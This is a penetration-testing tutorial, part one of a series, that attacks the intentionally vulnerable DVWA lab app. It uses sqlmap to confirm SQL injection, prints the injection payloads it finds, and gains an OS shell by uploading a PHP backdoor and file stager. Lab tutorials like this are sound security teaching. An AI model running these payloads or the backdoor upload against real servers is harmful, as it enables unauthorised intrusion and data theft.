How To: Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1

Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1

Information gathering is one of the most important steps in pentesting or hacking, and it can often be more rewarding to run things on the target itself as opposed to just running scripts against it remotely. With an SQL injection, a hacker can compromise a server and, ultimately, upload and run the "unix-privesc-check" script locally in order to further identify possible attack vectors.

SQL Injection Primer

SQL (structured query language) is a language used to perform queries on databases in order to retrieve and manipulate data. You will often find database systems on the back end of web applications, usually storing inventory or credentials of some sort. When you search for an item to purchase on a site, for example, the underlying query will be sent to the database and the relevant information will be returned.

SQL injection occurs when an input field is not properly sanitized, allowing the attacker to enter malicious code into the query. Consequences of this include the ability to tamper with data, destroy data, or even issue OS commands on the server. SQL injection is an entire area in information security, and it can take years to cover everything. Luckily, there is a lot of good information available to get started.

One of the simplest tests we can perform to check if a parameter (in this case, an input box) is vulnerable to SQL injection is to supply it with a single quotation mark. This will terminate the string in a SQL statement, and if the input isn't filtered correctly, it will often return an error. Usually, if this happens, you can be pretty confident that the parameter is vulnerable to SQL injection.

When we enter a single quote into the text box, we can see that it does indeed return an error:

This tells us that the database system in use is MySQL and that this is very likely a vulnerable injection point. But just to be sure, because you really never can be too sure, we can verify this using the tool, Sqlmap.

Step 1: Set Up Your Vulnerable Web App

In order to show you how this works, I'll be using DVWA, an intentionally vulnerable web application that is included in Metasploitable 2, as the target. You can use another test target if you'd like, in which case you can skip this step. My attacking machine is Kali Linux, which I assume you're likely running.

Before we begin, there are a few things that need to be done first to get DVWA ready as the target. First, log in to DVWA with the default credentials, "admin" and "password."

Next, navigate to the "DVWA Security" page, and set the security level to "low" in the drop-down menu. This will ensure our attack works as intended.

Now, go to the "Setup" page. Here we can create the database if it does not already exist. If it does exist, it will just reset it anyway. Click the "Create / Reset Database" button to do it.

Next, browse to the "SQL Injection" page. This application has a function that will query the database when given the user ID number, and it return some information.

Now we should be ready to start the initial phases of our attack.

Step 2: Recon with Sqlmap

Sqlmap is a tool that automates the process of SQL injection. It is open source and has a ton of features. To display the basic help menu in the terminal, use the -h flag.

sqlmap -h
.
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.3.2#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

In order to run this, we need a few pieces of information. First, the URL, which can be found by submitting valid input to the application. Here is what is returned from an ID value of 1:

We can see this is working properly, and now we have the target URL:

http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

Next, we need some cookie information. Go to developer tools in whatever browser you are using. In Firefox and Chrome, you can just right-click anywhere on the page and select "Inspect Element" or "Inspect."

In Firefox, navigate to the "Network" tab and reload the page. Click on the GET request with the status code 200, then on the right, under "Headers," scroll down to find the cookie information.

Now we can run Sqlmap with the -u flag set to our URL and the --cookie parameter set to our cookie information. Make sure to enclose both of these in quotes.

sqlmap -u "http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=efc1b1545fd26e619025f0474f9f9a48"
.
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.3.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:45:19 /2019-03-14/

[10:45:19] [INFO] testing connection to the target URL
[10:45:20] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:45:20] [INFO] testing if the target URL content is stable
[10:45:21] [INFO] target URL content is stable
[10:45:21] [INFO] testing if GET parameter 'id' is dynamic
[10:45:21] [WARNING] GET parameter 'id' does not appear to be dynamic
[10:45:21] [INFO] heuristics detected web page charset 'ascii'
[10:45:21] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[10:45:21] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[10:45:21] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

The tool will start and begin running some tests. We can see right away that Sqlmap also identified the parameter we tested manually as being potentially vulnerable, as well as fingerprinting the database as MySQL. It will give us some more information when it finishes as well, including the type of SQL injections, operating system information, and database version:.

sqlmap identified the following injection point(s) with a total of 280 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 1296=1296#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(1521,3650)>(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(1521=1521,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM (SELECT 2413 UNION SELECT 2304 UNION SELECT 5732 UNION SELECT 1948)a GROUP BY x)-- ZXIP&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- kuRu&Submit=Submit
---
[10:46:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[10:46:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/172.16.1.102'

We can also tack on the --current-user and --current-db options to get the names of the current user and current database, which could be useful to know.

sqlmap -u "http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=efc1b1545fd26e619025f0474f9f9a48" --current-user --current-db
.
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.3.2#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:50:00 /2019-03-14/

[10:50:00] [INFO] resuming back-end DBMS 'mysql'
[10:50:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 1296=1296#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(1521,3650)>(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(1521=1521,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM (SELECT 2413 UNION SELECT 2304 UNION SELECT 5732 UNION SELECT 1948)a GROUP BY x)-- ZXIP&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- kuRu&Submit=Submit
---
[10:50:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[10:50:01] [INFO] fetching current user
[10:50:01] [INFO] heuristics detected web page charset 'ascii'
[10:50:01] [INFO] retrieved: 'root@%'
current user:    'root@%'
[10:50:01] [INFO] fetching current database
[10:50:01] [INFO] resumed: 'dvwa'
current database:    'dvwa'
[10:50:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/172.16.1.102'

Step 3: Upload Files with Sqlmap

Sqlmap contains a useful feature which can access the underlying operating system that the database is running on and execute commands. While this can come in handy for other scenarios, this feature will also allow us to accomplish our goal of uploading a file to the server.

To access the interactive prompt, simply use the --os-shell option when running Sqlmap. It will prompt you with a couple of questions, in this case, the default options will work.

sqlmap -u "http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=efc1b1545fd26e619025f0474f9f9a48" --os-shell
.
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.3.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:51:06 /2019-03-14/

[10:51:06] [INFO] resuming back-end DBMS 'mysql'
[10:51:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 1296=1296#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(1521,3650)>(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(1521=1521,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM (SELECT 2413 UNION SELECT 2304 UNION SELECT 5732 UNION SELECT 1948)a GROUP BY x)-- ZXIP&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- kuRu&Submit=Submit
---
[10:51:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[10:51:06] [INFO] going to use a web backdoor for command prompt
[10:51:06] [INFO] fingerprinting the back-end DBMS operating system
[10:51:06] [INFO] heuristics detected web page charset 'ascii'
[10:51:06] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[10:52:03] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1

This will set the writable directory, which will allow us to upload files. Since our target is running an Apache web server, /var/www/ will be that directory.

Once it completes, we should see a new prompt, which would allow us to run normal operating system commands. But a few lines above that, we can see something interesting: a backdoor and file stager were successfully uploaded.

[10:52:24] [WARNING] unable to automatically parse any web server path
[10:52:24] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[10:52:24] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://172.16.1.102:80/tmpuryfm.php
[10:52:25] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://172.16.1.102:80/tmpbjrer.php
[10:52:25] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

We are interested in uploading files, so all we have to do is go to the URL it gives us in the browser. When we do that, we are greeted by a file uploader:

Nice. This is exactly where we want to be.

Stay Tuned for the Next Part

So far, we have covered the basics of SQL injection and how to identify vulnerable injection points. We then used Sqlmap to verify and gather a little more information about the database. Finally, we were able to use this tool to set up a file stager on the target so we can upload files.

In the next part of this tutorial, we will use this exciting feature to upload and run a script on the server in order to identify configuration issues and possible avenues of privilege escalation.

Cover image by panumas nikhomkhai/Pexels; Screenshots by drd_/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest